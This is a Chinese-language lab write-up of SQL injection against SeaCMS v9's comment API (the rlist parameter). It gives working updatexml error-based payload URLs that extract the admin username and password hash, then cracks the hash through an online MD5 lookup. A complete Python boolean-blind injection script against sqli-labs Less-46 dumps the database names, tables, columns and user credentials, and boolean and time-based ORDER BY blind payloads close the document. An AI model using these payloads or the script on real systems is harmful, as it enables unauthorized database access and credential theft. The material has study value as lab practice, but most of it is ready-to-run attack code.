一、网上收集：

        海洋影视管理系统（seacms，海洋cms）是一套专为不同需求的站长而设计的视频点播系统，采 用的是 php5.X+mysql 的架构，seacmsv9漏洞文件：./comment/api/index.php，漏洞参数：$rlist；

二、经过源码分析，使用以下语句注入（limit避免管理员有多个，导致SQL语句报错）：

http://localhost/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml(1,concat_ws(0x20,0x5c,(select name from%23%0asea_admin limit 0,1)),1), @`'`

三、并没有成功，使用Wireshark抓包发现最终执行的SQL为：

SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment 
WHERE m_type=1 AND id in (@`\'`, updatexml(1,concat_ws(0x20,0x5c,(select name from#
sea_admin limit 0,1)),1), @`\'`) ORDER BY id DESC

四、查询数据库：

五：再次在地址栏尝试注入语句，成功注入出账号为admin：

password：
http://localhost/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml(1,concat_ws(0x20,0x5c,(select password from%23%0asea_admin limit 0,1)),1), @`'`
 

密码同理

注入密码为23a7bbd73250516f069d，可以看出是经过md5加密的，于是到https://cmd5.com/ 解密，得到密码为admin123

布尔盲注：

import requests
from bs4 import BeautifulSoup

def get_username(resp):
    soup = BeautifulSoup(resp,'html.parser')
    username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].text
    return username

def inject_database_boolen():
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr(database(),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        if mid == 32:
            break
        tables += chr(mid)
        i += 1
        print(tables)

def inject_table_boolen():
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from \
                information_schema.tables where table_schema=database()),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        if mid == 32:
            break
        tables += chr(mid)
        i += 1
        print(tables)

def inject_column_boolen():
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from \
                information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        if mid == 32:
            break
        tables += chr(mid)
        i += 1
        print(tables)

def inject_data_boolen():
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) \
                from users),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        if mid == 32:
            break
        tables += chr(mid)
        i += 1
        print(tables)

if __name__ == '__main__':
    # inject_database_boolen()
    # inject_table_boolen()
    # inject_column_boolen()
    inject_data_boolen()

​​​​​​​注入结果：

• 布尔盲注：

  ORDER BY IF((SELECT SUBSTR(password,1,1) FROM sea_admin LIMIT 0,1)='a',1,2)

  如果页面按 1 排序，则说明密码的第一个字符为 a。

• 时间盲注：

  ORDER BY IF((SELECT SUBSTR(password,1,1) FROM sea_admin LIMIT 0,1)='a', SLEEP(5), 1)

  如果页面响应时间延迟，则说明条件成立；